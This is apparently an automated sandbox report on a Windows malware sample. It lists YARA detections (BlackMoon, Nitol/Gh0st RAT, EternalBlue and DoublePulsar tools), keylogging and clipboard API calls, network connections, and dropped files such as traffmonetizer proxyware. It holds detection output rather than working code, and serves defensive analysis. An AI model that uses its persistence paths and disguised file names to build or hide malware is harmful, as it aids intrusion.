Source: unknown	Network traffic detected: HTTP traffic on port 61970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55464
Source: unknown	Network traffic detected: HTTP traffic on port 59060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52197
Source: unknown	Network traffic detected: HTTP traffic on port 57341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57084

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:64982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.194.78:443 -> 192.168.2.4:54005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 136.243.150.101:443 -> 192.168.2.4:57765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.131.126:443 -> 192.168.2.4:57765 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Windows\SysWOW64\svchost.exe

Code function: <Enter>

11_2_00409450

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040C4F0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,

11_2_0040C4F0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040C4F0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,

11_2_0040C4F0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_0040C560 OpenClipboard,GetClipboardData,CloseClipboard,GlobalSize,GlobalLock,??2@YAPAXI@Z,GlobalUnlock,CloseClipboard,??3@YAXPAX@Z,

11_2_0040C560

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_00409450 lstrcatA,Sleep,lstrlenA,lstrcatA,GetKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,lstrlenA,lstrlenA,lstrlenA,lstrcatA,

11_2_00409450

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_004119DC GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	0_2_004119DC
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040EE9D GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_0040EE9D
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_0041F9E5 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	1_2_0041F9E5
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_0042251D GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	1_2_0042251D
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_00415A8A GetKeyState,GetKeyState,GetKeyState,GetKeyState,	63_2_00415A8A
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_00418661 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	63_2_00418661

Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Hooks.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Yara detected BlackMoon Ransomware

Source: Yara match	File source: 1.0.MSSQLH.exe.44bf60.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.38iGnQnL33.exe.45a23e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSSQLH.exe.440f2f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 63.0.Wmicc.exe.49fae8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.55c3c8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.38iGnQnL33.exe.41930f.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.38iGnQnL33.exe.41930f.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.4e0bc0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 63.2.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.MSSQLH.exe.42b54f.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 63.0.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.38iGnQnL33.exe.44485e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.4bc8e0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.4bc8e0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.38iGnQnL33.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 63.0.Wmicc.exe.4242e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003F.00000002.2301629964.0000000000562000.00000004.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1981824704.0000000001BD4000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1648605215.000000000042B000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4119751685.0000000011799000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000003F.00000000.2300455511.0000000000424000.00000008.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 38iGnQnL33.exe PID: 4948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSSQLH.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hooks.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 3980, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Wmicc.exe PID: 17920, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\MSSQLH.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Temp\Wmicc.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED

Source: netsh.exe

Process created: 43

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.MpMgSvc.exe.63d35e.5.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 1.0.MSSQLH.exe.44bf60.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.38iGnQnL33.exe.45a23e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 1.0.MSSQLH.exe.440f2f.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 8.2.svchost.exe.11775a08.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 63.0.Wmicc.exe.49fae8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 4.2.MpMgSvc.exe.55c3c8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.38iGnQnL33.exe.41930f.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Samples related to APT17 activity - file FXSST.DLL Author: Florian Roth
Source: 0.2.38iGnQnL33.exe.41930f.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 7.2.Hooks.exe.1b97cd6.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.38iGnQnL33.exe.41930f.3.unpack, type: UNPACKEDPE	Matched rule: Detects Samples related to APT17 activity - file FXSST.DLL Author: Florian Roth
Source: 0.2.38iGnQnL33.exe.41930f.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 1.0.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Samples related to APT17 activity - file FXSST.DLL Author: Florian Roth
Source: 1.0.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 8.2.svchost.exe.11775a08.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 1.2.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Samples related to APT17 activity - file FXSST.DLL Author: Florian Roth
Source: 1.2.MSSQLH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 7.2.Hooks.exe.1b97cd6.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader Author: Florian Roth
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol Malware Author: Florian Roth
Source: 11.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: 4.2.MpMgSvc.exe.4e0bc0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 63.2.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 1.0.MSSQLH.exe.42b54f.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 63.0.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.38iGnQnL33.exe.44485e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 4.2.MpMgSvc.exe.4bc8e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 4.2.MpMgSvc.exe.4bc8e0.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 0.2.38iGnQnL33.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 63.0.Wmicc.exe.4242e0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR	Matched rule: Malware Sample - maybe Regin related Author: Florian Roth
Source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects EquationGroup Tool - April Leak Author: Florian Roth
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\coli-0.dll, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\dmgd-4.dll, type: DROPPED	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 Author: unknown
Source: C:\Windows\Temp\Eternalromance-1.4.0.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Users\user\Desktop\MSSQLH.exe, type: DROPPED	Matched rule: Detects Samples related to APT17 activity - file FXSST.DLL Author: Florian Roth
Source: C:\Users\user\Desktop\MSSQLH.exe, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: C:\Windows\Temp\Doublepulsar-1.3.1.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Eternalblue-2.2.0.xml, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\Temp\Wmicc.exe, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen
Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: Detects Nitol backdoor Author: ditekSHen
Source: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll, type: DROPPED	Matched rule: Detects executables using BlackMoon RunTime Author: ditekSHen

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0041006C NtdllDefWindowProc_A,	0_2_0041006C
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00410858 NtdllDefWindowProc_A,CallWindowProcA,	0_2_00410858
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00411E52 NtdllDefWindowProc_A,	0_2_00411E52

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: 1_2_0040B748 OpenSCManagerA,OpenServiceA,DeleteService,CloseServiceHandle,CloseServiceHandle,

1_2_0040B748

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_004141A0 ExitWindowsEx,

11_2_004141A0

Source: C:\Users\user\Desktop\MSSQLH.exe	File created: C:\Windows\Logs\RunDllExe.dll	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\ctfmoon.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Meson.exe
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\root_conf
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\root_conf\default.toml
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\settings.json
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll
